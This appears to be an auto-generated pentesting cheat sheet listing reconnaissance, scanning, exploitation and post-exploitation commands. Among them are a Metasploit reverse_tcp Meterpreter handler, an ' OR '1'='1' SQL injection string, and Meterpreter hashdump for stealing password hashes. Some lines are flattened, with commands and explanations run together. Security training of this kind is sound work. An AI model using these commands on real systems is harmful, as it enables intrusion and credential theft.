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What’s Inside?
- Hands-on pentesting tools & frameworks.
- Legal & ethical hacking practices.
- Real-world case studies from professionals.
- Beginner-friendly to red teaming.
You Should Know:
Essential Penetration Testing Tools & Commands
1. Reconnaissance (Information Gathering)
- Nmap (Network Scanning):
nmap -sV -A target.com
-sV: Service version detection-A: Aggressive scan (OS detection, script scanning)-
Whois Lookup:
whois target.com
2. Vulnerability Scanning
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Nikto (Web Vulnerability Scanner):
nikto -h http://target.com
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OpenVAS (Open-Source Vulnerability Scanner):
gvm-start Start OpenVAS gvm-feed-update Update vulnerability database
3. Exploitation
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Metasploit Framework:
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST <your-ip> set LPORT 4444 exploit
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SQL Injection (Manual Testing):
' OR '1'='1' --
4. Post-Exploitation
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Meterpreter (Metasploit):
sysinfo System information hashdump Dump password hashes screenshot Capture victim's screen
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Privilege Escalation (Linux):
sudo -l Check sudo permissions find / -perm -4000 2>/dev/null Find SUID binaries
5. Reporting & Legal Compliance
- Always document findings in a structured format.
- Follow responsible disclosure policies.
What Undercode Say:
Penetration testing is a critical skill in cybersecurity, requiring hands-on practice and ethical responsibility. Mastering tools like Nmap, Metasploit, and Burp Suite is essential. Always stay updated with new vulnerabilities (CVE databases) and follow legal guidelines (OSCP, CEH frameworks).
🔹 Linux Cyber Commands:
netstat -tuln Check open ports tcpdump -i eth0 Capture network traffic chmod 600 /etc/shadow Secure sensitive files
🔹 Windows Security Commands:
netstat -ano Active connections & PIDs wmic qfe list Installed updates gpresult /z Group Policy settings
Expected Output:
A structured penetration testing workflow with verified commands, legal compliance, and real-world applicability.
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References:
Reported By: Ouardi Mohamed – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
